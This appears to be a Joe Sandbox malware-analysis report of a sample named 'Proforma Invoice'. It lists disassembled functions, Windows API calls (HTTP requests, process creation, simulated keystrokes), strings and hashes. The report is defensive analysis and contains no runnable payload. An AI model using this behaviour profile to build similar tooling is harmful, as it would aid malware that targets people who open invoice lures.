AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00700268,?,00000001), ref: 007012BC

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 6eaaeee9b118c7fc4d179b1bc29f4bce6f394fef17c9159025eabea1c5fdb805
Instruction ID: 19d1e4b988e35e8f233445213211588b78ce1a36dcd8e50f51dc80055ad5054f
Opcode Fuzzy Hash: 6eaaeee9b118c7fc4d179b1bc29f4bce6f394fef17c9159025eabea1c5fdb805
Instruction Fuzzy Hash: D1316975600304FBDB20EB54ED98BA977F9FB58311F918229F901C62E0D7BC9D408B68

Function 006AFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 006AFAA6
OleUninitialize.OLE32(?,00000000), ref: 006AFB45
UnregisterHotKey.USER32(?), ref: 006AFC9C
DestroyWindow.USER32(?), ref: 006E45D6
FreeLibrary.KERNEL32(?), ref: 006E463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 006E4668

Strings

close all, xrefs: 006AFAA1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 481fec68a31ee551e0f266128a6f50a05a926edb81952fe4b693d7cc5292824a
Instruction ID: 9f6ac9332b630cb6fb7a4bc277490ae001b1e18efcefe67d34fe003ae8136256
Opcode Fuzzy Hash: 481fec68a31ee551e0f266128a6f50a05a926edb81952fe4b693d7cc5292824a
Instruction Fuzzy Hash: 87A17070702212CFDB28EF65C594AA9F366BF06710F5042ADE90AAB261DF30ED16CF55

Function 00719113 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00719167
VariantInit.OLEAUT32(?), ref: 00719238
VariantInit.OLEAUT32(?), ref: 00719339
VariantClear.OLEAUT32(?), ref: 00719343
VariantClear.OLEAUT32(?), ref: 007193A0

Strings

,,s, xrefs: 007191E5
Incorrect Object type in FOR..IN loop, xrefs: 0071931C
Null Object assignment in FOR..IN loop, xrefs: 007191C8, 007192F6, 007193AE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: ,,s$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-1757569584
Opcode ID: 57f3078d85607d5b95bd4977ef456013b99bf7dbc26de90e66b56286acee4108
Instruction ID: f61497b547bd17881f08b65085477b5a0e8fe45a8be86fb336ad52a9dad9c222
Opcode Fuzzy Hash: 57f3078d85607d5b95bd4977ef456013b99bf7dbc26de90e66b56286acee4108
Instruction Fuzzy Hash: B9918171900219ABDF24DF99C858FEEB7B8EF45710F108519F615AB2C0D7789986CFA0

Function 006FA068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,006FA439), ref: 006FA377

Strings

TEXT, xrefs: 006FA2AE
REGEXPCLASS, xrefs: 006FA13C
NAME, xrefs: 006FA1A9
INSTANCE, xrefs: 006FA285
CLASSNN, xrefs: 006FA119
CLASS, xrefs: 006FA0F6

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 06b56266248377394b136287936f38f965bb4e7be3ec995be71ee255e3931595
Instruction ID: 12aca5e66e8c98b713acb16bc22f73d8bb332219ee44dca17356f738204e332f
Opcode Fuzzy Hash: 06b56266248377394b136287936f38f965bb4e7be3ec995be71ee255e3931595
Instruction Fuzzy Hash: 9191A271604609AADB48EFE0C482BFDFBB6FF04300F54812DD95DA7241DB316A99CBA5

Function 006A2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 006A2EAE

Part of subcall function 006A1DB3: GetClientRect.USER32(?,?), ref: 006A1DDC
Part of subcall function 006A1DB3: GetWindowRect.USER32(?,?), ref: 006A1E1D
Part of subcall function 006A1DB3: ScreenToClient.USER32(?,?), ref: 006A1E45

GetDC.USER32 ref: 006DCD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 006DCD45
SelectObject.GDI32(00000000,00000000), ref: 006DCD53
SelectObject.GDI32(00000000,00000000), ref: 006DCD68
ReleaseDC.USER32(?,00000000), ref: 006DCD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 006DCDFB

Strings

U, xrefs: 006DCCD0

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 4c747783bb2f7a2263881f4633acbe8b5b203d7174a7198040ece5be5245291d
Instruction ID: 12f6abe9ac98ae603eea3349ad06e4c5c6df42a0cc95cab5a968d93750898195
Opcode Fuzzy Hash: 4c747783bb2f7a2263881f4633acbe8b5b203d7174a7198040ece5be5245291d
Instruction Fuzzy Hash: 58714B3190020ADFCF219F64C894AEA7BB7FF49320F14426AE9559A3A6C7359C91DF60

Function 00711A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00711A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00711A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00711ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00711AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00711AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00711B10
InternetCloseHandle.WININET(00000000), ref: 00711B57

Part of subcall function 00712483: GetLastError.KERNEL32(?,?,00711817,00000000,00000000,00000001), ref: 00712498
Part of subcall function 00712483: SetEvent.KERNEL32(?,?,00711817,00000000,00000000,00000001), ref: 007124AD

Strings

, xrefs: 00711B01

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: c67ad3055fc553c1fc129fc3681d198721eeaeb857f504e66769cf6903564d45
Instruction ID: f4351fd623c910f964a98ab8298fe030a9246ff4973a83f40de70671b3f7f647
Opcode Fuzzy Hash: c67ad3055fc553c1fc129fc3681d198721eeaeb857f504e66769cf6903564d45
Instruction Fuzzy Hash: 784186B1501218BFEB118F54CC89FFB7B6CEF08754F408126FA059A181E7789E859BA4

Function 00718C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0072F910), ref: 00718D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0072F910), ref: 00718D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00718ED6
SysFreeString.OLEAUT32(?), ref: 00718F00

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: f085d8d49344693b356832d43cc79a85fd665941a9f85d77ca9aa5585574aed7
Instruction ID: 7a352a38cce14c3fb64650eec8bac08c691173128e97583877353c919490bdce
Opcode Fuzzy Hash: f085d8d49344693b356832d43cc79a85fd665941a9f85d77ca9aa5585574aed7
Instruction Fuzzy Hash: 5EF12B71A00109EFCB54DF98C884EEEB7B9FF49314F108598F505AB291DB35AE86CB61

Function 0071F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0071F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0071F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0071F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0071F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0071F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0071FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0071FA7C
CloseHandle.KERNEL32(?), ref: 0071FAAB
CloseHandle.KERNEL32(?), ref: 0071FB22

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 0610d69a9c8d365d0c4ec57f46660d8e3a41dbc054e3dd30b8780a621491ad53
Instruction ID: 71e452c26904baa187991e590030e293c9ddcf816940b5103c6a2c54889a6914
Opcode Fuzzy Hash: 0610d69a9c8d365d0c4ec57f46660d8e3a41dbc054e3dd30b8780a621491ad53
Instruction Fuzzy Hash: 07E19F716043019FC754EF28C891BAABBE1EF85354F14896DF8859B2E2CB35EC81CB56

Function 00704CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00703697,?), ref: 0070468B

Part of subcall function 0070466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00703697,?), ref: 007046A4

Part of subcall function 00704A31: GetFileAttributesW.KERNEL32(?,0070370B), ref: 00704A32

lstrcmpiW.KERNEL32(?,?), ref: 00704D40
_wcscmp.LIBCMT ref: 00704D5A
MoveFileW.KERNEL32(?,?), ref: 00704D75

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 9f59f4f37f3b9f8196fe88f2a726ef1d55d195c5fe0b9fd620fad02a14a5aa2c
Instruction ID: 281674e27f6194744565591384bcf93f522564abe3a0fdb0d6efa58490229526
Opcode Fuzzy Hash: 9f59f4f37f3b9f8196fe88f2a726ef1d55d195c5fe0b9fd620fad02a14a5aa2c
Instruction Fuzzy Hash: 0C5166B2108385DBC764EB90D885DDFB3ECAF85350F004A2EF685D3191EE35A588CB5A

Function 00728645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 007286FF

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: fa7323689733daf7fb76b4eac4a859424e8730f247165d46874fa10f9f505596
Instruction ID: 24a55aa09aae01cbf6adbb2af636dfef79498755ae5eff13da9a08cf16486259
Opcode Fuzzy Hash: fa7323689733daf7fb76b4eac4a859424e8730f247165d46874fa10f9f505596
Instruction Fuzzy Hash: F051B530502274BEDBA09F68EC89FAD3BB5EB05310F604125F911D62A1CF7FA940DB46

Function 006A2B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 006DC2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 006DC319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 006DC331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 006DC34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 006DC370
DestroyIcon.USER32(00000000), ref: 006DC37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 006DC39C
DestroyIcon.USER32(?), ref: 006DC3AB

Part of subcall function 0072A4AF: DeleteObject.GDI32(00000000), ref: 0072A4E8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 333725f94dd9ed3f5c45eb72dfd92c70358a33142ca5a88bfab5967817529f90
Instruction ID: 49f554148d9bd32d69797e0c6f91e6c39f27884678c720e98c9d02cdc874caf3
Opcode Fuzzy Hash: 333725f94dd9ed3f5c45eb72dfd92c70358a33142ca5a88bfab5967817529f90
Instruction Fuzzy Hash: 83515A70A4020AEFDB24EF68CC55FAA77B6EB19320F108529F90297390D774AD91DF60

Function 006F966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 006FA84C
Part of subcall function 006FA82C: GetCurrentThreadId.KERNEL32 ref: 006FA853
Part of subcall function 006FA82C: AttachThreadInput.USER32(00000000,?,006F9683,?,00000001), ref: 006FA85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 006F968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 006F96AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 006F96AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 006F96B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 006F96D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 006F96D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 006F96E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 006F96F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 006F96FB

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 96883866bf4111abeb72278e49ad2238999a7aa0dca41552b48f6b51735d08d4
Instruction ID: 15c9afc9f16b1bb40160f6dfac6f9a53c8c949b72b68d41eb66997f048a2c108
Opcode Fuzzy Hash: 96883866bf4111abeb72278e49ad2238999a7aa0dca41552b48f6b51735d08d4
Instruction Fuzzy Hash: B611E5B191021CBEF6206F60DC49F7A3B2EDB4C791F504439F344AB0A0CAF25C11DAA8

Function 006F8921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,006F853C,00000B00,?,?), ref: 006F892A
HeapAlloc.KERNEL32(00000000,?,006F853C,00000B00,?,?), ref: 006F8931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,006F853C,00000B00,?,?), ref: 006F8946
GetCurrentProcess.KERNEL32(?,00000000,?,006F853C,00000B00,?,?), ref: 006F894E
DuplicateHandle.KERNEL32(00000000,?,006F853C,00000B00,?,?), ref: 006F8951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,006F853C,00000B00,?,?), ref: 006F8961
GetCurrentProcess.KERNEL32(006F853C,00000000,?,006F853C,00000B00,?,?), ref: 006F8969
DuplicateHandle.KERNEL32(00000000,?,006F853C,00000B00,?,?), ref: 006F896C
CreateThread.KERNEL32(00000000,00000000,006F8992,00000000,00000000,00000000), ref: 006F8986

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 49ba4882e335a8961f31b1365e2e32888301725e98f735978bc96cb4890af983
Instruction ID: 80a8e164774da68f4e24666bf9776fc084840191f6f7492bb967d4a069b20352
Opcode Fuzzy Hash: 49ba4882e335a8961f31b1365e2e32888301725e98f735978bc96cb4890af983
Instruction Fuzzy Hash: 3401BBB5640308FFE720ABA5DD4EF6B3BACEB89711F418425FA05DB1A1CA749C11CB24

Function 00719B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00719BA4, 00719EC8
Not an Object type, xrefs: 00719B7B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: f86b61ed6fc84eeb28365a1527b20c8018d88df0844e7309135985f8e3e8f008
Instruction ID: c3170e03b2aa321a10388ed6cffe446dfcbee8d930500fbcbe5482647c9591fb
Opcode Fuzzy Hash: f86b61ed6fc84eeb28365a1527b20c8018d88df0844e7309135985f8e3e8f008
Instruction Fuzzy Hash: A9C1B271A002099BDF10CF68D895AEEB7F5FB48310F148469EA45A72C0E774AD86CBA0

Function 0071975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 006F710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?,?,?,006F7455), ref: 006F7127
Part of subcall function 006F710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?,?), ref: 006F7142
Part of subcall function 006F710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?,?), ref: 006F7150
Part of subcall function 006F710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,006F7044,80070057,?), ref: 006F7160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00719806
_memset.LIBCMT ref: 00719813
_memset.LIBCMT ref: 00719956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00719982
CoTaskMemFree.OLE32(?), ref: 0071998D

Strings

NULL Pointer assignment, xrefs: 007199DB

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 7e8b0c9e6bfb14bf3f53293f98698c72b07ea6600db2c36d27fbf21f7d583637
Instruction ID: f1bf96329fe42c3033fe346f12cfbb6bdc64a6164dd907d7332449de16117ddb
Opcode Fuzzy Hash: 7e8b0c9e6bfb14bf3f53293f98698c72b07ea6600db2c36d27fbf21f7d583637
Instruction Fuzzy Hash: 28915971D00219EBDB10DFA4DC55EDEBBB9EF09310F10812AF519A7281DB75AA45CFA0

Function 00726D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00726E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00726E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00726E52
_wcscat.LIBCMT ref: 00726EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00726EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00726EF2

Strings

SysListView32, xrefs: 00726DF6

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
